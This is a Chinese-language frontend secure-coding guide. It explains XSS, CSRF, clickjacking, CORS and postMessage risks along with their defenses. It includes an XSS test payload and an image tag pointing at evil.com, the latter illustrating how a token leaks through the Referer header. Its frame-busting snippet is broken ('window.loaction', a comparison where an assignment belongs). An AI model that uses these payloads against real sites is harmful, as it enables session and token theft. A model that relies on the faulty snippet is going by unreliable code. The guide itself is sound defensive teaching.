前端安全編碼規(guī)范
前言
隨著互聯(lián)網(wǎng)高速的發(fā)展，信息安全已經(jīng)成為企業(yè)重點(diǎn)關(guān)注焦點(diǎn)之一，而前端又是引發(fā)安全問(wèn)題的高危據(jù)點(diǎn)，所以，作為一個(gè)前端開(kāi)發(fā)人員，需要了解前端的安全問(wèn)題，以及如何去預(yù)防、修復(fù)安全漏洞。
下面就以前端可能受到的攻擊方式為起點(diǎn)，講解web中可能存在的安全漏洞以及如何去檢測(cè)這些安全漏洞，如何去防范潛在的惡意攻擊。
1. 跨站腳本攻擊（Cross Sites Script）
跨站腳本攻擊，Cross Site Script（簡(jiǎn)稱 CSS或）。指黑客通過(guò)“HTML注入”篡改了網(wǎng)頁(yè)，插入了惡意的腳本（主要是JavaScript腳本），從而在用戶瀏覽網(wǎng)頁(yè)時(shí)，控制用戶瀏覽器的一種攻擊。
了解了什么是XSS，那你一定想知道，它有什么危害以及如何去防御
這里羅列一張列表：
- 掛馬
- 盜取用戶Cookie。
- 釣魚攻擊，高級(jí)的釣魚技巧。
- 刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。
- 劫持用戶Web行為，甚至進(jìn)一步滲透內(nèi)網(wǎng)。
- 爆發(fā)Web2.0蠕蟲。
- 蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)
- 其它安全問(wèn)題
常見(jiàn)的跨站腳本攻擊也可分為：反射型XSS、存儲(chǔ)型XSS、DOM Based XSS
下面針對(duì)這三種常見(jiàn)的類型做具體的分析
1.1 反射型XSS--也可被稱為是HTML注入
- 反射型XSS，也稱為"非持久型XSS"簡(jiǎn)單的把用戶輸入的數(shù)據(jù)"反射"給瀏覽器，即黑客往往需要誘使用戶"點(diǎn)擊"一個(gè)惡意鏈接攻擊才能成功，用戶通過(guò)點(diǎn)擊這個(gè)惡意鏈接，攻擊者可以成功獲取用戶隱私數(shù)據(jù)的一種方式。如："盜取用戶Cookie信息"、"破壞頁(yè)面結(jié)構(gòu)"、"重定向到其他網(wǎng)站"，盜取內(nèi)網(wǎng)IP等。
那么既然反射型XSS也可以是HTML注入，那么它注入的關(guān)鍵自然也就從前端的HTML頁(yè)面開(kāi)始下手：
- 1. 用戶能夠與瀏覽器頁(yè)面產(chǎn)生交互動(dòng)作（輸入搜索的關(guān)鍵詞，點(diǎn)擊按鈕，點(diǎn)擊鏈接等等），但這些都需要去誘使用戶去操作，說(shuō)起來(lái)容易，做起來(lái)難。
- 2. 用戶輸入的數(shù)據(jù)會(huì)被攻擊方拼接出合適的html去執(zhí)行惡意的js腳本，這樣的過(guò)程就像是"一次反射"
1.2 存儲(chǔ)型XSS
- 存儲(chǔ)型XSS，也稱為"`持久型XSS`"，它與`反射型XSS`不同之處在于，它會(huì)將用戶輸入的數(shù)據(jù)"存儲(chǔ)"在攻擊方的服務(wù)器上，具有很強(qiáng)的"穩(wěn)定性"。
- 例如：訪問(wèn)某黑客寫下的一篇含有惡意JavaScript代碼的博客文章，黑客把惡意腳本保存到服務(wù)端。
1.3 DOM based XSS
- 從效果上來(lái)說(shuō)，也是"反射型XSS"，單獨(dú)劃分出來(lái)，是因?yàn)槠湫纬墒峭ㄟ^(guò)修改頁(yè)面的"DOM節(jié)點(diǎn)"形成的XSS。
- 例如：通過(guò)修改DOM節(jié)點(diǎn)上的綁定方法，用戶無(wú)意間通過(guò)點(diǎn)擊、輸入等行為執(zhí)行這些方法獲取到用戶的相關(guān)信息
1.4 如何去檢測(cè)是否存在XSS
一般方法是，用戶可以在有關(guān)鍵字輸入搜索的地方輸入<script>alert(123)</script>后點(diǎn)擊搜索，若彈框出現(xiàn)展示123，說(shuō)明存在XSS漏洞，這就說(shuō)明前端并沒(méi)有對(duì)用戶輸入的內(nèi)容過(guò)濾處理。
1.5 XSS的攻擊方式
1.Cookie劫持
- 通過(guò)偽裝一些`圖片和按鈕`等，誘使用戶對(duì)其操作，使網(wǎng)頁(yè)執(zhí)行了攻擊者的惡意腳本，使攻擊者能夠獲取當(dāng)前用戶的Cookie信息
2.構(gòu)造GET和POST請(qǐng)求
- 若某攻擊者想刪除某網(wǎng)站的一篇文章，首先獲得當(dāng)前文章的id，然后通過(guò)使用腳本`插入圖片`發(fā)送一個(gè)`GET請(qǐng)求`，或`構(gòu)造表單`，`XMLHTTPRequest`發(fā)送`POST請(qǐng)求`以達(dá)到刪除該文章的目的
3.XSS釣魚
- `釣魚`這個(gè)詞一般認(rèn)識(shí)是起源于`社會(huì)工程學(xué)`，黑客使用這個(gè)這門學(xué)科的理念思想，在未授權(quán)不知情的情況下誘騙用戶，并得到對(duì)方對(duì)方的姓名、年齡、郵箱賬號(hào)、甚至是銀行卡密碼等私人信息。
- 比如："某用戶在某網(wǎng)站（已被攻擊）上操作黑客偽造的一個(gè)登錄框，當(dāng)用戶在登錄框中輸入了用戶名（這里可能是身份證號(hào)等）和密碼之后，將其信息上傳至黑客的服務(wù)器上（該用戶的信息就已經(jīng)從該網(wǎng)站泄漏）"
4.獲取用戶真實(shí)的IP地址
通過(guò)第三方軟件獲取，比如客戶端安裝了Java環(huán)境（JRE），則可通過(guò)調(diào)用`Java Applet`的接口獲取客戶端本地的IP地址
1.6 XSS的防御方式
1.HttpOnly
原理：瀏覽器禁止頁(yè)面的Javascript訪問(wèn)帶有HttpOnly屬性的cookie。（實(shí)質(zhì)解決的是：XSS后的cookie劫持攻擊）如今已成為一種“標(biāo)準(zhǔn)”的做法
- 解決方案：
- JavaEE給Cookie添加HttpOnly的方式為：
- response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
2.輸入檢查（XSS Filter）
- 原理：讓一些基于特殊字符的攻擊失效。（常見(jiàn)的Web漏洞如XSS、SQLInjection等，都要求攻擊者構(gòu)造一些特殊字符）
- * 輸入檢查的邏輯，必須在服務(wù)端實(shí)現(xiàn)，因?yàn)榭蛻舳说臋z查也是很容易被攻擊者繞過(guò)，現(xiàn)有的普遍做法是兩端都做同樣的檢查，客戶端的檢查可以阻擋大部分誤操作的正常用戶，從而節(jié)約服務(wù)器的資源。
- 解決方案：
- 檢查是否包含"JavaScript"，"<script></script>"等敏感字符。以及對(duì)字符串中的<>:"&/'等特殊字符做處理
3.輸出檢查
- 原理：一般來(lái)說(shuō)除了富文本輸出之外，在變量輸出到HTML頁(yè)面時(shí)，使用編碼或轉(zhuǎn)義的方式來(lái)防御XSS攻擊
- 解決方案：
- * 針對(duì)HTML代碼的編碼方式：HtmlEncode
- * PHP：htmlentities()和htmlspecialchars()兩個(gè)函數(shù)
- * Javascript：JavascriptEncode（需要使用""對(duì)特殊字符進(jìn)行轉(zhuǎn)義，同時(shí)要求輸出的變量必須在引號(hào)內(nèi)部）
- * 在URL的path（路徑）或者search（參數(shù)）中輸出，使用URLEncode
4.更嚴(yán)格的做法
- 除了數(shù)字和字母外的所有字符，都使用十六進(jìn)制的方式進(jìn)行編碼
2. 跨站點(diǎn)請(qǐng)求偽造（Cross Sites Request Forgery）
跨站點(diǎn)請(qǐng)求偽造，指利用用戶身份操作用戶賬戶的一種攻擊方式，即攻擊者誘使用戶訪問(wèn)一個(gè)頁(yè)面，就以該用戶身份在第三方有害站點(diǎn)中執(zhí)行了一次操作，泄露了用戶的身份信息，接著攻擊者就可以使用這個(gè)偽造的，但真實(shí)存在的身份信息，到某網(wǎng)站冒充用戶執(zhí)行惡意操作。
但是，攻擊者只有預(yù)測(cè)到URL的所有參數(shù)與參數(shù)值，才能成功地偽造一個(gè)請(qǐng)求（當(dāng)然了，他可以在安全站點(diǎn)里以自己的身份實(shí)際去操作一下，還是能拿到參數(shù)的）；反之，攻擊者無(wú)法攻擊成功
下圖通俗解釋什么是CSRF，又是如何給用戶帶來(lái)危害的
參考上圖，我們可以總結(jié)，完成一次CSRF攻擊，必須滿足兩個(gè)條件
- 用戶登錄受信任網(wǎng)站A，并且在本地生成Cookie
- 在不登出網(wǎng)站A的情況下，訪問(wèn)有害網(wǎng)站B
2.1 CSRF的原理
- CSRF攻擊是攻擊者利用**`用戶身份`**操作用戶賬戶的一種攻擊方式
- 如電影速度與激情5中吉賽爾使用內(nèi)褲獲取巴西大佬指紋，最后成功使用偽造指紋的手法打開(kāi)保險(xiǎn)柜，CSRF只不過(guò)是網(wǎng)絡(luò)上這個(gè)手法的實(shí)現(xiàn)。
2.2 CSRF的攻擊方式
1.瀏覽器的Cookie策略
- 瀏覽器所持有的策略一般分為兩種：
- Session Cookie，臨時(shí)Cookie。保存在瀏覽器進(jìn)程的內(nèi)存中，瀏覽器關(guān)閉了即失效。
- Third-party Cookie，本地Cookie。服務(wù)器在Set-Cookie時(shí)指定了Expire Time。過(guò)期了本地Cookie失效，則網(wǎng)站會(huì)要求用戶重新登錄。
* 在瀏覽網(wǎng)站的過(guò)程中，即使瀏覽器打開(kāi)了Tab頁(yè)，Session Cookie都是有效的，因此發(fā)起CSRF攻擊是可行的。
2.P3P頭的副作用
- "P3P Header"是 "W3C" 制定的一項(xiàng)關(guān)于隱私的標(biāo)準(zhǔn)，全稱是 "The Platform for Privacy Preference"（隱私偏好平臺(tái)）
- 如果網(wǎng)站返回給瀏覽器的 HTTP 頭包含有 P3P 頭，則在某種程度上來(lái)說(shuō)，將允許 瀏覽器發(fā)送第三方 Cookie。在 IE 下即使是"<iframe>"、`<script>`等標(biāo)簽頁(yè)將不再攔截第三方 Cookie 的發(fā)送。主要應(yīng)用在類似廣告等需要跨域訪問(wèn)的頁(yè)面。
3.GET，POST請(qǐng)求
- * 這里有個(gè)誤區(qū)
- 大多數(shù) CSRF 攻擊，都是通過(guò) <img> 、 <iframe> 、 <script> 等帶 src 屬性的標(biāo)簽，這類標(biāo)簽只能發(fā)送一次 GET 請(qǐng)求，而不能發(fā)送 POST 請(qǐng)求，由此也有了認(rèn)為 CSRF 攻擊只能由 GET 請(qǐng)求發(fā)起的錯(cuò)誤觀點(diǎn)。
- 構(gòu)造一個(gè) POST 請(qǐng)求，只需要在一個(gè)不可見(jiàn)的iframe窗口中，構(gòu)造一個(gè)form表單，然后使用JavaScript自動(dòng)提交這個(gè)表單。那么整個(gè)自動(dòng)提交表單的過(guò)程，對(duì)于用戶來(lái)說(shuō)就是不可見(jiàn)的。
2.3 CSRF的防御方式
1.驗(yàn)證碼
- 原理：
- CSRF攻擊過(guò)程中，用戶在不知情的情況下構(gòu)造了網(wǎng)絡(luò)請(qǐng)求，添加驗(yàn)證碼后，強(qiáng)制用戶必須與應(yīng)用進(jìn)行交互
- * 優(yōu)點(diǎn)：簡(jiǎn)潔而有效
- * 缺點(diǎn)：網(wǎng)站不能給所有的操作都加上驗(yàn)證碼
2.Referer Check
- 原理：
- * 利用HTTP頭中的Referer判斷請(qǐng)求來(lái)源是否合法
- * Referer首部包含了當(dāng)前請(qǐng)求頁(yè)面的來(lái)源頁(yè)面的地址，一般情況下Referer的來(lái)源頁(yè)就是發(fā)起請(qǐng)求的那個(gè)頁(yè)面，如果是在iframe中發(fā)起的請(qǐng)求，那么對(duì)應(yīng)的頁(yè)面URL就是iframe的src
- * 優(yōu)點(diǎn)：簡(jiǎn)單易操作（只需要在最后給所有安全敏感的請(qǐng)求統(tǒng)一添加一個(gè)攔截器來(lái)檢查Referer的值就行）
- * 缺點(diǎn)：服務(wù)器并非什么時(shí)候都能取到Referer
- 1.很多出于保護(hù)用戶隱私的考慮，限制了Referer的發(fā)送。
- 2.比如從HTTPS跳轉(zhuǎn)到HTTP，出于安全的考慮，瀏覽器不會(huì)發(fā)送Referer
3.使用Anti CSRF Token
- 原理：把參數(shù)加密，或者使用一些隨機(jī)數(shù)，從而讓攻擊者無(wú)法猜測(cè)到參數(shù)值，也就無(wú)法構(gòu)造請(qǐng)求的 URL，也就無(wú)法發(fā)起 CSRF 攻擊。
- 例子（增加token）：
- * 比如一個(gè)刪除操作的URL是：`http://host/path/delete?uesrname=abc&item=123`
- * 保持原參數(shù)不變，新增一個(gè)參數(shù)Token，Token值是隨機(jī)的，不可預(yù)測(cè)
- * http://host/path/delete?username=abc&item=123&token=[random(seed)]
- * 優(yōu)點(diǎn)：比檢查Referer方法更安全，并且不涉及用戶隱私
- * 缺點(diǎn)：
- 加密
- 1. 加密后的URL非常難讀，對(duì)用戶非常不友好
- 2. 加密的參數(shù)每次都在改變，導(dǎo)致用戶無(wú)法對(duì)頁(yè)面進(jìn)行搜索
- 3. 普通參數(shù)也會(huì)被加密或哈希，將會(huì)給DBA工作帶來(lái)很大的困擾，因?yàn)閿?shù)據(jù)分析常常需要用到參數(shù)的明文
- token
- 1. 對(duì)所有的請(qǐng)求都添加Token比較困難
需要注意的點(diǎn)
- Token需要足夠隨機(jī)，必須用足夠安全的隨機(jī)數(shù)生成算法
- Token應(yīng)該為用戶和服務(wù)器所共同持有，不能被第三方知曉
- Token可以放在用戶的Session或者瀏覽器的Cookie中
- 盡量把Token放在表單中，把敏感操作由GET改為POST，以form表單的形式提交，可以避免Token泄露（比如一個(gè)頁(yè)面：http://host/path/manage?username=abc&token=[random]，在此頁(yè)面用戶需要在這個(gè)頁(yè)面提交表單或者單擊“刪除”按鈕，才能完成刪除操作，在這種場(chǎng)景下，如果這個(gè)頁(yè)面包含了一張攻擊者能指定地址的圖片<img src="http://evil.com/notexist" />，則這個(gè)頁(yè)面地址會(huì)作為HTTP請(qǐng)求的Refer發(fā)送到evil.com的服務(wù)器上，從而導(dǎo)致Token泄露）
2.4 XSRF
當(dāng)網(wǎng)站同時(shí)存在XSS和CSRF漏洞時(shí)，XSS可以模擬客戶端瀏覽器執(zhí)行任意操作，在XSS攻擊下，攻擊者完全可以請(qǐng)求頁(yè)面后，讀取頁(yè)面內(nèi)容中的Token值，然后再構(gòu)造出一個(gè)合法的請(qǐng)求
3. 點(diǎn)擊劫持（ClickJacking）
點(diǎn)擊劫持是一種視覺(jué)上的欺騙手段。攻擊者使用一個(gè)透明的、不可見(jiàn)的iframe，覆蓋在一個(gè)網(wǎng)頁(yè)上，然后誘使用戶在網(wǎng)頁(yè)上進(jìn)行操作，此時(shí)用戶將在不知情的情況下點(diǎn)擊透明的iframe頁(yè)面。通過(guò)調(diào)整iframe頁(yè)面的位置，可以誘使用戶恰好點(diǎn)擊在iframe頁(yè)面的一些功能性按鈕上。
比如，程序員小王在訪問(wèn)A網(wǎng)頁(yè)時(shí)，點(diǎn)擊空白區(qū)域，瀏覽器卻意外打開(kāi)了xx新葡京賭場(chǎng)的頁(yè)面，于是他在A網(wǎng)頁(yè)打開(kāi)控制臺(tái)，在空白區(qū)域發(fā)現(xiàn)了一個(gè)透明的iframe，該iframe嵌入了一個(gè)第三方網(wǎng)頁(yè)的URL
3.1 點(diǎn)擊劫持防御方式
- 1.X-Frame-Options HTTP響應(yīng)頭是用來(lái)給瀏覽器指示允許一個(gè)頁(yè)面能否在`<frame>、<iframe>、<object>`中展現(xiàn)的標(biāo)記
- #### 有三個(gè)可選的值
- 1. DENY：瀏覽器會(huì)拒絕當(dāng)前頁(yè)面加載任何frame頁(yè)面（即使是相同域名的頁(yè)面也不允許）
- 2. SAMEORIGIN：允許加載frame頁(yè)面，但是frame頁(yè)面的地址只能為同源域名下的頁(yè)面
- 3. ALLOW-FROM：可以加載指定來(lái)源的frame頁(yè)面（可以定義frame頁(yè)面的地址）
- 2.禁止iframe的嵌套
- if(window.top.location !== window.loaction){window.top.location === window.self.location}
4. 其他安全問(wèn)題
- 4.1 跨域問(wèn)題處理
- 當(dāng)服務(wù)端設(shè)置 'Access-Control-Allow-Origin' 時(shí)使用了通配符 "*",允許來(lái)自任意域的跨域請(qǐng)求，這是極其危險(xiǎn)的
- 4.2 postMessage 跨窗口傳遞信息
- postMessage 允許每一個(gè) window（包括當(dāng)前窗口、彈出窗口、iframes等）對(duì)象往其他的窗口發(fā)送文本消息，從而實(shí)現(xiàn)跨窗口的消息傳遞。并且這個(gè)功能不受同源策略限制。
- 必要時(shí)，在接受窗口驗(yàn)證 Domain，甚至驗(yàn)證URL，以防止來(lái)自非法頁(yè)面的消息。實(shí)際上是在代碼上實(shí)現(xiàn)一次同源策略的驗(yàn)證過(guò)程。接受窗口對(duì)接口的信息進(jìn)行安全檢查。
- 4.3 Web Storage
- Web Storage 分為 Session Storage 和 Local Storage。
- 雖然受同源策略的約束，但當(dāng)存有敏感信息時(shí)，也可能會(huì)成為攻擊的目標(biāo)。
5. 總結(jié)
- 謹(jǐn)慎用戶輸入信息，進(jìn)行輸入檢查（客戶端和服務(wù)端同時(shí)檢查）
- 在變量輸出到HTML頁(yè)面時(shí)，都應(yīng)該進(jìn)行編碼或轉(zhuǎn)義來(lái)預(yù)防XSS攻擊
- 該用驗(yàn)證碼的時(shí)候一定要添上
- 盡量在重要請(qǐng)求上添加Token參數(shù)，注意Token要足夠隨機(jī)，用足夠安全的隨機(jī)數(shù)生成算法
